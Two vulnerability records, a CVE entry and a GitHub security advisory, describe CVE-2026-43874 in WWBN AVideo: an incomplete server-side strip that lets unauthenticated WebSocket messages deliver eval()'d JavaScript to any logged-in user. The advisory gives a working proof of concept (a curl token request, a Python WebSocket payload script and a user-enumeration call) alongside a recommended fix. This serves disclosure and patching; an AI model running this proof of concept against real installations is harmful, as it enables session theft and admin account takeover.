{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json[\u0027msg\u0027], but the relay function msgToResourceId() selects the outbound message from $msg[\u0027json\u0027] before $msg[\u0027msg\u0027]. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field \u2014 the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix."
    }
  ],
  "id": "CVE-2026-43874",
  "lastModified": "2026-06-17T10:50:00.533",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-43874",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-12T13:23:59.294265Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-11T21:19:02.120",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:07:09Z",
    "nvd_published_at": "2026-05-11T21:19:02Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe server-side mitigation for the YPTSocket `autoEvalCodeOnHTML` eval sink (prior advisory GHSA-gph2-j4c9-vhhr, commit `c08694bf6`) only strips the payload when it sits under `$json[\u0027msg\u0027]`, but the relay function `msgToResourceId()` selects the outbound message from `$msg[\u0027json\u0027]` *before* `$msg[\u0027msg\u0027]`. An unauthenticated attacker can obtain a WebSocket token from `plugin/YPTSocket/getWebSocket.json.php`, connect to the WebSocket server, and send a message with `autoEvalCodeOnHTML` nested under a top-level `json` field \u2014 the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by `to_users_id`, and the client script runs it through `eval()`.\n\n## Details\n\n### Entry point (unauthenticated)\n\n`plugin/YPTSocket/getWebSocket.json.php` (lines 1\u201321) issues a valid WebSocket token to any caller, with no authentication or CSRF check:\n\n```php\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\ndie(json_encode($obj));\n```\n\n`getEncryptedInfo()` defaults to `sentFrom = \u0027browser\u0027` and a non-CLI flag (`plugin/YPTSocket/functions.php:3-47`), so a token minted for an anonymous browser client will cause the strip branch below to run \u2014 which is exactly what we want to audit.\n\n### Incomplete strip (the fix from commit c08694bf6)\n\n`plugin/YPTSocket/Message.php:236-247`:\n\n```php\n// Strip eval-able fields from browser/guest messages.\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    if (is_array($json[\u0027msg\u0027] ?? null)) {\n        unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);          // \u003c-- only strips $json[\u0027msg\u0027]\n    }\n    if (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n        unset($json[\u0027callback\u0027]);\n    }\n}\n```\n\nIf the incoming `$json[\u0027msg\u0027]` is a scalar (e.g. the string `\"x\"`), `is_array(...)` is false and the strip is skipped entirely. Any eval-able content that lives elsewhere in `$json` passes through untouched. The same flawed check exists in `plugin/YPTSocket/MessageSQLiteV2.php:285-293`.\n\n### Relay preference picks the untouched field\n\n`plugin/YPTSocket/Message.php:316-322` (and the mirror at `MessageSQLiteV2.php:396-402`):\n\n```php\nif (!empty($msg[\u0027json\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027json\u0027];          // \u003c-- preferred carrier; never stripped\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];\n} else {\n    $obj[\u0027msg\u0027] = $msg;\n}\n```\n\nAn attacker payload shaped as `{\"msg\": \"x\", \"json\": {\"autoEvalCodeOnHTML\": \"\u003cjs\u003e\"}, \"to_users_id\": \u003cvictim\u003e}` therefore:\n\n1. Passes `switch ($json-\u003emsg)` into the `default` case (Message.php:211, 228).\n2. `msgToArray($json)` converts to array. The strip branch enters because `sentFrom === \u0027browser\u0027`, but `is_array(\"x\")` is false and the strip is skipped.\n3. Routing lands on `msgToUsers_id($json, $json[\u0027to_users_id\u0027])` (Message.php:253), which for each matching resource calls `msgToResourceId($msg, $resourceId)` (Message.php:379).\n4. In `msgToResourceId`, `!empty($msg[\u0027json\u0027])` is true, so `$obj[\u0027msg\u0027]` becomes `{\"autoEvalCodeOnHTML\": \"\u003cjs\u003e\"}` (Message.php:316-317).\n5. The `shouldPropagateInfo()` check at Message.php:287-289 only logs \u2014 it does not return \u2014 so delivery proceeds regardless.\n\n### Client-side sink\n\n`plugin/YPTSocket/script.js:573-575`:\n\n```js\nif (json.msg?.autoEvalCodeOnHTML !== undefined) {\n    eval(json.msg.autoEvalCodeOnHTML);\n}\n```\n\nAny logged-in user with an active browser tab runs the attacker-supplied JavaScript in the origin of the AVideo installation.\n\n### Routing to any user\n\n`msgToUsers_id()` (Message.php:362-389) looks up `to_users_id` against `$this-\u003eclientsUsersId` and relays to every resource belonging to that user. Because `to_users_id` comes straight from attacker input, any currently connected user (regular or admin) can be targeted. Active users_id values can be enumerated via the existing `getClientsList` request handled at Message.php:219-224 using the same unauthenticated token.\n\n## PoC\n\nStep 1 \u2014 mint an unauthenticated WebSocket token:\n\n```bash\ncurl -sk \u0027https://target/plugin/YPTSocket/getWebSocket.json.php\u0027\n# {\"error\":false,\"webSocketToken\":\"\u003cTOKEN\u003e\",\"webSocketURL\":\"wss://target:2053?webSocketToken=\u003cTOKEN\u003e\u0026isCommandLine=0\", ...}\n```\n\nStep 2 \u2014 connect and send the crafted message:\n\n```python\nimport json, ssl, websocket\n\nTOKEN  = \u0027\u003cTOKEN\u003e\u0027          # from step 1\nURL    = \u0027wss://target:2053?webSocketToken=\u0027 + TOKEN + \u0027\u0026isCommandLine=0\u0027\nVICTIM = 2                  # any logged-in users_id with an open tab\n\nws = websocket.create_connection(URL, sslopt={\u0027cert_reqs\u0027: ssl.CERT_NONE})\npayload = {\n    \u0027msg\u0027: \u0027x\u0027,                                                  # scalar -\u003e strip branch skipped\n    \u0027webSocketToken\u0027: TOKEN,\n    \u0027json\u0027: {\u0027autoEvalCodeOnHTML\u0027: \"alert(\u0027XSS in \u0027+document.domain)\"},\n    \u0027to_users_id\u0027: VICTIM,\n}\nws.send(json.dumps(payload))\nws.close()\n```\n\nExpected result: the victim\u0027s tab receives `{\"type\":\"DEFAULT_MESSAGE\",\"msg\":{\"autoEvalCodeOnHTML\":\"alert(...)\"}, ...}` and executes the JavaScript via `eval()`.\n\nOptional Step 0 \u2014 enumerate active users (using the same token):\n\n```python\nws.send(json.dumps({\u0027msg\u0027: \u0027getClientsList\u0027, \u0027webSocketToken\u0027: TOKEN}))\n# response lists active users_id values\n```\n\n## Impact\n\n- **Unauthenticated XSS / arbitrary JS execution in any logged-in user\u0027s browser session.** The victim only needs a tab open on the site \u2014 no click, no link, no CSRF.\n- **Same-origin compromise:** the attacker\u0027s JS runs in the target origin, so it can read DOM/tokens, make authenticated XHR calls on the victim\u0027s behalf, and exfiltrate session data.\n- **Privilege escalation when an admin is targeted:** arbitrary admin-panel actions via same-origin XHR \u2014 account takeover, plugin configuration changes, file uploads, etc.\n- **Mass exploitation feasible:** `getClientsList` (also reachable with the anonymous token) enumerates active `users_id` values, and the attacker can iterate `to_users_id` across all of them.\n- This is an incomplete fix for GHSA-gph2-j4c9-vhhr \u2014 deployments that patched to commit `c08694bf6` remain exploitable.\n\n## Recommended Fix\n\nScrub `autoEvalCodeOnHTML` from **every** outbound carrier the relay may choose, not only from `$json[\u0027msg\u0027]`. Patch both `plugin/YPTSocket/Message.php` and `plugin/YPTSocket/MessageSQLiteV2.php`. For example, replace the current strip in `onMessage()`:\n\n```php\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    foreach ([\u0027msg\u0027, \u0027json\u0027] as $k) {\n        if (is_array($json[$k] ?? null)) {\n            unset($json[$k][\u0027autoEvalCodeOnHTML\u0027]);\n        }\n    }\n    // also strip a top-level field so the fallback `$obj[\u0027msg\u0027] = $msg` path is safe\n    if (isset($json[\u0027autoEvalCodeOnHTML\u0027])) {\n        unset($json[\u0027autoEvalCodeOnHTML\u0027]);\n    }\n    if (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n        unset($json[\u0027callback\u0027]);\n    }\n}\n```\n\nAdditionally, harden the relay itself in `msgToResourceId()` (both files) so future regressions cannot reintroduce the sink \u2014 walk the chosen `$obj[\u0027msg\u0027]` recursively and unset `autoEvalCodeOnHTML` whenever the message originated from a non-PHP, non-CLI client. As defense in depth, remove or gate the client-side `eval(json.msg.autoEvalCodeOnHTML)` at `plugin/YPTSocket/script.js:573-575` behind a server-signed field rather than a plain JSON key.",
  "id": "GHSA-ghcv-22jf-vfxm",
  "modified": "2026-05-13T14:19:18Z",
  "published": "2026-05-05T19:07:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghcv-22jf-vfxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/9f3006f9a89a34daa67a83c6ad35f450cb91fcce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-gph2-j4c9-vhhr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Incomplete Fix for YPTSocket autoEvalCodeOnHTML Strip: Unauthenticated Cross-User JavaScript Execution via `$msg[\u0027json\u0027]` Relay Bypass"
}